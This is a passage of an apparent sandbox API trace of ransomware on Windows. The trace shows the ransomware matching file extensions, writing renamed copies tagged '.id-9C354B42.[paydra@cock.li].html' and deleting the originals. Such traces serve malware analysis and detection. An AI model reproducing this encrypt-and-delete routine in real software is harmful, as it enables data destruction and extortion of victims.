[0047.738] lstrlenW (lpString=".bz2") returned 4 [0047.738] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.738] lstrlenW (lpString=".7z") returned 3 [0047.738] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0047.738] lstrlenW (lpString=".dbf") returned 4 [0047.739] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0047.739] lstrlenW (lpString=".1cd") returned 4 [0047.739] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0047.739] lstrlenW (lpString=".jpg") returned 4 [0047.739] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0047.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0047.739] lstrlenW (lpString=".doc") returned 4 [0047.739] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.739] lstrlenW (lpString=".docx") returned 5 [0047.739] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.739] lstrlenW (lpString=".pdf") returned 4 [0047.739] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.739] lstrlenW (lpString=".xls") returned 4 [0047.739] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.739] lstrlenW (lpString=".xlsx") returned 5 [0047.739] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.739] lstrlenW (lpString=".ppt") returned 4 [0047.739] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0047.739] lstrlenW (lpString=".zip") returned 4 [0047.739] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.739] lstrlenW (lpString=".rar") returned 4 [0047.739] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.739] lstrlenW (lpString=".bz2") returned 4 [0047.739] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.739] lstrlenW (lpString=".7z") returned 3 [0047.739] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0047.739] lstrlenW (lpString=".dbf") returned 4 [0047.739] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0047.740] lstrlenW (lpString=".1cd") returned 4 [0047.740] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0047.740] lstrlenW (lpString=".jpg") returned 4 [0047.740] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.740] lstrcmpiW (lpString1=".config", lpString2=".html") returned -1 [0047.740] lstrlenW (lpString="VSTOInstaller.config") returned 20 [0047.740] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0048.012] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=716) returned 1 [0048.012] CloseHandle (hObject=0x214) returned 1 [0048.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 0x20 [0048.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0048.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0048.012] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.012] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.012] GetLastError () returned 0x0 [0048.012] ReadFile (in: hFile=0x214, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x2cc, lpOverlapped=0x0) returned 1 [0048.014] WriteFile (in: hFile=0x20c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x2d0, lpOverlapped=0x0) returned 1 [0048.015] ReadFile (in: hFile=0x214, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.015] WriteFile (in: hFile=0x20c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0048.015] SetEndOfFile (hFile=0x20c) returned 1 [0048.015] CloseHandle (hObject=0x20c) returned 1 [0048.016] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.016] SetEndOfFile (hFile=0x214) returned 1 [0048.017] CloseHandle (hObject=0x214) returned 1 [0048.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0048.017] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 1 [0048.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0048.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0048.017] lstrlenW (lpString=".doc") returned 4 [0048.017] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0048.017] lstrlenW (lpString=".docx") returned 5 [0048.017] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0048.017] lstrlenW (lpString=".pdf") returned 4 [0048.017] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0048.017] lstrlenW (lpString=".xls") returned 4 [0048.018] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0048.018] lstrlenW (lpString=".xlsx") returned 5 [0048.018] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0048.018] lstrlenW (lpString=".ppt") returned 4 [0048.018] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0048.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0048.018] lstrlenW (lpString=".zip") returned 4 [0048.018] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0048.018] lstrlenW (lpString=".rar") returned 4 [0048.018] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0048.018] lstrlenW (lpString=".bz2") returned 4 [0048.018] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0048.018] lstrlenW (lpString=".7z") returned 3 [0048.018] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0048.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0048.018] lstrlenW (lpString=".dbf") returned 4 [0048.018] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0048.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0048.018] lstrlenW (lpString=".1cd") returned 4 [0048.018] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0048.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0048.018] lstrlenW (lpString=".jpg") returned 4 [0048.018] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0048.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0048.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0048.018] lstrlenW (lpString=".doc") returned 4 [0048.018] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0048.018] lstrlenW (lpString=".docx") returned 5 [0048.018] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0048.018] lstrlenW (lpString=".pdf") returned 4 [0048.018] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0048.018] lstrlenW (lpString=".xls") returned 4 [0048.018] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0048.018] lstrlenW (lpString=".xlsx") returned 5 [0048.019] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0048.019] lstrlenW (lpString=".ppt") returned 4 [0048.019] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0048.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0048.019] lstrlenW (lpString=".zip") returned 4 [0048.019] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0048.019] lstrlenW (lpString=".rar") returned 4 [0048.019] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0048.019] lstrlenW (lpString=".bz2") returned 4 [0048.019] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0048.019] lstrlenW (lpString=".7z") returned 3 [0048.019] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0048.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0048.019] lstrlenW (lpString=".dbf") returned 4 [0048.019] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0048.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0048.019] lstrlenW (lpString=".1cd") returned 4 [0048.019] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0048.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0048.019] lstrlenW (lpString=".jpg") returned 4 [0048.019] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0048.019] lstrcmpiW (lpString1=".png", lpString2=".html") returned 1 [0048.019] lstrlenW (lpString="16to9Squareframe_VideoInset.png") returned 31 [0048.019] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0049.029] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3316) returned 1 [0049.029] CloseHandle (hObject=0x21c) returned 1 [0049.029] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png")) returned 0x20 [0049.029] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0049.029] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.029] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0049.029] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0049.029] lstrlenW (lpString=".doc") returned 4 [0049.029] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0049.029] lstrlenW (lpString=".docx") returned 5 [0049.029] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0049.029] lstrlenW (lpString=".pdf") returned 4 [0049.029] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0049.029] lstrlenW (lpString=".xls") returned 4 [0049.029] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0049.029] lstrlenW (lpString=".xlsx") returned 5 [0049.029] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0049.029] lstrlenW (lpString=".ppt") returned 4 [0049.029] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0049.029] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0049.029] lstrlenW (lpString=".zip") returned 4 [0049.030] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0049.030] lstrlenW (lpString=".rar") returned 4 [0049.030] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0049.030] lstrlenW (lpString=".bz2") returned 4 [0049.030] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0049.030] lstrlenW (lpString=".7z") returned 3 [0049.030] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0049.030] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0049.030] lstrlenW (lpString=".dbf") returned 4 [0049.030] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0049.030] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0049.030] lstrlenW (lpString=".1cd") returned 4 [0049.030] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0049.030] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0049.030] lstrlenW (lpString=".jpg") returned 4 [0049.030] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0049.030] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0049.030] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0049.030] lstrlenW (lpString=".doc") returned 4 [0049.030] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0049.031] lstrlenW (lpString=".docx") returned 5 [0049.031] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0049.031] lstrlenW (lpString=".pdf") returned 4 [0049.031] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0049.031] lstrlenW (lpString=".xls") returned 4 [0049.031] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0049.031] lstrlenW (lpString=".xlsx") returned 5 [0049.031] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0049.031] lstrlenW (lpString=".ppt") returned 4 [0049.031] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0049.031] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0049.031] lstrlenW (lpString=".zip") returned 4 [0049.031] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0049.031] lstrlenW (lpString=".rar") returned 4 [0049.031] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0049.031] lstrlenW (lpString=".bz2") returned 4 [0049.031] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0049.031] lstrlenW (lpString=".7z") returned 3 [0049.031] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0049.031] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0049.031] lstrlenW (lpString=".dbf") returned 4 [0049.031] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0049.031] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0049.031] lstrlenW (lpString=".1cd") returned 4 [0049.031] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0049.031] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0049.031] lstrlenW (lpString=".jpg") returned 4 [0049.032] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0049.032] lstrcmpiW (lpString1=".png", lpString2=".html") returned 1 [0049.032] lstrlenW (lpString="Heart_ButtonGraphic.png") returned 23 [0049.032] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0049.240] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=30138) returned 1 [0049.240] CloseHandle (hObject=0x1b8) returned 1 [0049.240] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png")) returned 0x20 [0049.240] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0049.241] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.241] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0049.241] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0049.241] lstrlenW (lpString=".doc") returned 4 [0049.241] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0049.241] lstrlenW (lpString=".docx") returned 5 [0049.241] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0049.241] lstrlenW (lpString=".pdf") returned 4 [0049.241] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0049.241] lstrlenW (lpString=".xls") returned 4 [0049.241] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0049.241] lstrlenW (lpString=".xlsx") returned 5 [0049.241] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0049.241] lstrlenW (lpString=".ppt") returned 4 [0049.241] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0049.241] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0049.241] lstrlenW (lpString=".zip") returned 4 [0049.241] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0049.241] lstrlenW (lpString=".rar") returned 4 [0049.241] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0049.241] lstrlenW (lpString=".bz2") returned 4 [0049.241] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0049.241] lstrlenW (lpString=".7z") returned 3 [0049.241] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0049.241] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0049.241] lstrlenW (lpString=".dbf") returned 4 [0049.241] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0049.241] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0049.241] lstrlenW (lpString=".1cd") returned 4 [0049.241] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0049.241] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0049.241] lstrlenW (lpString=".jpg") returned 4 [0049.241] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0049.242] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0049.242] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0049.242] lstrlenW (lpString=".doc") returned 4 [0049.242] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0049.242] lstrlenW (lpString=".docx") returned 5 [0049.242] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0049.242] lstrlenW (lpString=".pdf") returned 4 [0049.242] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0049.242] lstrlenW (lpString=".xls") returned 4 [0049.242] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0049.242] lstrlenW (lpString=".xlsx") returned 5 [0049.242] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0049.242] lstrlenW (lpString=".ppt") returned 4 [0049.242] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0049.242] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0049.242] lstrlenW (lpString=".zip") returned 4 [0049.242] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0049.242] lstrlenW (lpString=".rar") returned 4 [0049.242] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0049.242] lstrlenW (lpString=".bz2") returned 4 [0049.242] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0049.242] lstrlenW (lpString=".7z") returned 3 [0049.242] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0049.242] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0049.242] lstrlenW (lpString=".dbf") returned 4 [0049.242] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0049.242] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0049.242] lstrlenW (lpString=".1cd") returned 4 [0049.242] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0049.242] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0049.242] lstrlenW (lpString=".jpg") returned 4 [0049.242] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0049.243] lstrcmpiW (lpString1=".bmp", lpString2=".html") returned -1 [0049.243] lstrlenW (lpString="heart_glass_Thumbnail.bmp") returned 25 [0049.243] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0049.243] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=5072) returned 1 [0049.243] CloseHandle (hObject=0x1b8) returned 1 [0049.243] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp")) returned 0x20 [0049.243] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0049.243] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.243] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0049.243] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0049.243] lstrlenW (lpString=".doc") returned 4 [0049.243] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0049.243] lstrlenW (lpString=".docx") returned 5 [0049.243] lstrcmpiW (lpString1=".docx", lpString2="l.bmp") returned -1 [0049.243] lstrlenW (lpString=".pdf") returned 4 [0049.243] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0049.243] lstrlenW (lpString=".xls") returned 4 [0049.243] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0049.243] lstrlenW (lpString=".xlsx") returned 5 [0049.243] lstrcmpiW (lpString1=".xlsx", lpString2="l.bmp") returned -1 [0049.244] lstrlenW (lpString=".ppt") returned 4 [0049.244] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0049.244] lstrlenW (lpString="C:\\Program Files\\DVD 